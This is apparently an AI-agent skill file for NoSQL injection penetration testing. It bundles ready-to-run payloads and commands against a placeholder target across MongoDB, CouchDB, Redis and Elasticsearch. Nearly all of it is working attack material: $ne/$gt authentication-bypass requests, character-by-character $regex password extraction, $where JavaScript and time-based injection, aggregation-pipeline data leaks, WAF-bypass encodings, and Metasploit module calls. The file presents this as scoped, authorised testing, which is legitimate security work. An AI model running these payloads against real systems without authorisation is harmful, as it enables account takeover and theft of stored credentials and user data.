| name | nosql-injection-pentest |
| description | Guides NoSQL injection testing with operator-based auth bypass, blind extraction, JavaScript injection, and MongoDB-specific payloads. Use when MongoDB backend, JSON body with operators ($gt, $ne, $regex), or NoSQL error messages are observed during web testing. |
NoSQL Injection Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE).
- Load
web-app-pentest for overall web testing context.
Triggers
- MongoDB, CouchDB, Redis, or Elasticsearch backend identified
- JSON login/search bodies accepting operator syntax (
$gt, $ne, $regex)
- URL-encoded params like
username[$ne]=x&password[$ne]=x
- NoSQL-related error messages in responses
- Authentication bypass with unexpected empty or wildcard credentials
Workflow
Task Progress:
- [ ] Identify JSON or form parameters mapped to NoSQL queries
- [ ] Test authentication bypass with $ne, $gt, $regex, $expr operators
- [ ] Extract data via $regex blind injection or aggregation pipeline abuse
- [ ] If filtered, try duplicate key override and operator encoding
- [ ] Document with request/response evidence
Detection
Authentication bypass probes
CLI (primary for web vulns):
python3 nosqlmap.py -u "http://<target>/login" --postdata "username=admin&password=test"
curl -X POST "http://<target>/login" -H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
curl -X POST "http://<target>/login" -d "username[\$ne]=x&password[\$ne]=x"
JSON: {"username":{"$ne":null},"password":{"$ne":null}}
URL: username[$ne]=x&password[$ne]=x
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/mongodb_login",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 27017, "USERNAME": "admin", "PASSWORD": "password", "DATABASE": "admin"}
)
Note: mongodb_login targets direct MongoDB port; for HTTP JSON injection use CLI primarily.
Exploitation by variant
Operator injection reference
| Operator | Effect |
|---|
$ne | Not equal (bypass auth) |
$gt / $gte | Greater than (match any non-empty) |
$regex | Pattern match (blind extraction) |
$in | Match any in array |
$expr | Aggregation expression in query |
$where | JavaScript execution (MongoDB) |
Blind $regex extraction
CLI (primary):
python3 nosqlmap.py -u "http://<target>/login" --postdata '{"username":"admin","password":{"$regex":"^a"}}'
curl -X POST "http://<target>/login" -d '{"username":"admin","password":{"$regex":"^admin"}}'
Character-by-character: {"password":{"$regex":"^a"}}, ^ab, etc.
MSF MCP: No direct HTTP NoSQL module. Use msf_search_modules(query="nosql").
$expr operator injection
CLI (primary):
curl -X POST "http://<target>/login" -H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$expr":{"$eq":["$password","known"]}}}'
curl -X POST "http://<target>/search" \
-d '{"filter":{"$expr":{"$gt":[{"$strLenCP":"$password"},0]}}}'
$expr allows aggregation expressions in find queries; bypass filters blocking direct $where.
MSF MCP: No direct module.
Aggregation pipeline injection
CLI (primary):
curl -X POST "http://<target>/api/report" -H "Content-Type: application/json" \
-d '{"pipeline":[{"$match":{"user":"admin"}},{"$lookup":{"from":"users","localField":"x","foreignField":"x","as":"leak"}}]}'
curl -X POST "http://<target>/api/search" \
-d '{"aggregate":[{"$match":{"$or":[{"username":{"$regex":".*"}}]}}]}'
If API passes user input to $match, $lookup, $out, or $merge stages.
MSF MCP: No direct module.
$where JavaScript injection
CLI (primary):
curl -X POST "http://<target>/login" \
-d '{"username":"admin","password":{"$where":"return true"}}'
curl -X POST "http://<target>/search" \
-d '{"$where":"sleep(5000) || true"}'
Time-based blind: "$where":"sleep(5000) || true"
MSF MCP: No direct module.
CouchDB injection
CLI (primary):
curl -X POST "http://<target>:5984/db/_find" -H "Content-Type: application/json" \
-d '{"selector":{"username":{"$gt":null},"password":{"$gt":null}}}'
curl "http://admin:password@<target>:5984/_users/_all_docs"
CouchDB Mango queries accept similar operators; test _find endpoint selector injection.
MSF MCP: No direct module.
Redis EVAL injection
CLI (primary):
redis-cli -h <target> EVAL "return redis.call('get','key')" 0
curl -X POST "http://<target>/cache" -d '{"key":"x","script":"return redis.call(\"keys\",\"*\")"}'
MSF MCP:
msf_run_auxiliary_module(
module_name="auxiliary/scanner/redis/redis_server",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 6379}
)
Elasticsearch DSL injection
CLI (primary):
curl -X POST "http://<target>:9200/users/_search" -H "Content-Type: application/json" \
-d '{"query":{"bool":{"must":[{"match":{"username":{"query":"admin*"}}}]}}}'
curl -X POST "http://<target>/search" \
-d '{"query":{"script":{"script":"doc[\"password\"].value == \"x\""}}}'
Test query_string, script, regexp fields with injected DSL; extract via _search response.
MSF MCP: No direct module.
WAF bypass
CLI (primary):
python3 nosqlmap.py -u "http://<target>/login" --verbose
Duplicate key override: {"username":"guest","username":{"$ne":null}}
Content-Type switching: JSON vs form-urlencoded vs multipart
Operator encoding: username%5B$ne%5D=null
Array wrapping: {"username":["admin"],"password":[{"$ne":1}]}
MSF MCP: No direct module.
Impact escalation
| Stage | CLI | MSF MCP |
|---|
| Auth bypass | $ne, $gt, $regex | mongodb_login (direct port) |
| User enum | $in, $regex prefix | N/A |
| Data extraction | Blind $regex, $expr | N/A |
| RCE | $where JavaScript | N/A |
| ES leak | DSL script queries | N/A |
Tool reference
python3 nosqlmap.py -u "http://<target>/login" --postdata "username=admin&password=test"
python3 nosqlmap.py -u "http://<target>/login" --attack 1 --verbose
mongosh "mongodb://<target>:27017" --eval "db.adminCommand({listDatabases:1})"
curl -X POST "http://<target>:9200/_search" -d '{"query":{"match_all":{}}}'
Related skills
web-app-pentest - overall web testing flow
graphql-pentest - NoSQL injection via GraphQL variables
sqli-pentest - when backend is SQL, not NoSQL
database-pentest - direct MongoDB/Redis post-access enumeration